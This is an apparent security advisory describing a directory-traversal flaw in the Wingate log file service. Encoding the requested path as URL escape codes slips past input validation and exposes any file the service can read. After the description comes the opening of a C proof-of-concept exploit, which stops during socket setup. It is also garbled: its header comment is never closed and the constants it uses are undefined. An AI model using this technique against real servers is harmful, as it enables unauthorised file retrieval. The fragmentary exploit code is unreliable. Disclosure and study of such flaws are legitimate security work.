The log file server allows logs to be viewed remotely via HTTP. By encoding file/path portion of the URL as a series of escape codes (i.e., "%41%42%43%44"), an attacker may circumvent input validation. All files accessible to the logging service can be retrieved by taking advantage of this flaw. Files containing new lines may be corrupted.
By default, this service is bound only to 'private' interfaces (LAN adapters, the loop back interface, etc). However, users who have legitimate access to logs do not necessarily have legitimate access to all files available to the log file server process.
eEye Security reported that the logging server could be used to retrieve files remotely in version 3.0. Unfortunately, the problem was not thoroughly fixed and this simple trick allows characters to be inserted that are not subject to input validation (escaped characters are inserted after checks are performed).
This vulnerability affects the latest beta version of Wingate (4.1 A) as well as the most recent stable release (4.0.1). The attack has been confirmed to work against Wingate 2.1 and 3.0. Other versions have not been tested.
Exploit:
/*
wgate41a.c - Wingate 4.1 Beta A log file service vulnerability.
Blue Panda - bluepanda@dwarf.box.sk
http://bluepanda.box.sk/
----------------------------------------------------------
Disclaimer: this file is intended as proof of concept, and
is not intended to be used for illegal purposes. I accept
no responsibility for damage incurred by the use of it.
----------------------------------------------------------
Makes a request to the Wingate logfile service in such a way that it will
not be subject to filtering. This can allow an attacker to retrieve files
irrelevant to the logging system. The file received is dumped to stdout, and
all other output is written to stderr. Newline characters (0x0d and 0x0a)
will probably be screwed up by Wingate.
void Usage(void);
int Connect(int iSock, char *szHost, int iPort);
int InitWinsock(void);
int ShutdownWinsock(void);
void Bail(const char *szMessage);
int main(int argc, char *argv[])
{
int iPort;
int iResult;
int iSocket;
int iCounter;
char *szFile = NULL;
int iFileLen = 0;
char *szFileTemp = NULL;
char *szStartOfFile;
char sBuf[BUF_LEN];
if ((argc < 3) || (argc > 4)) Usage();
if (argc == 4)
iPort = atoi(argv[3]);
else iPort = DEFAULT_PORT;
// Attempt to initialise winsock.
iResult = InitWinsock();
if (iResult != 0)
Bail(ERROR_WINSOCK_INIT);
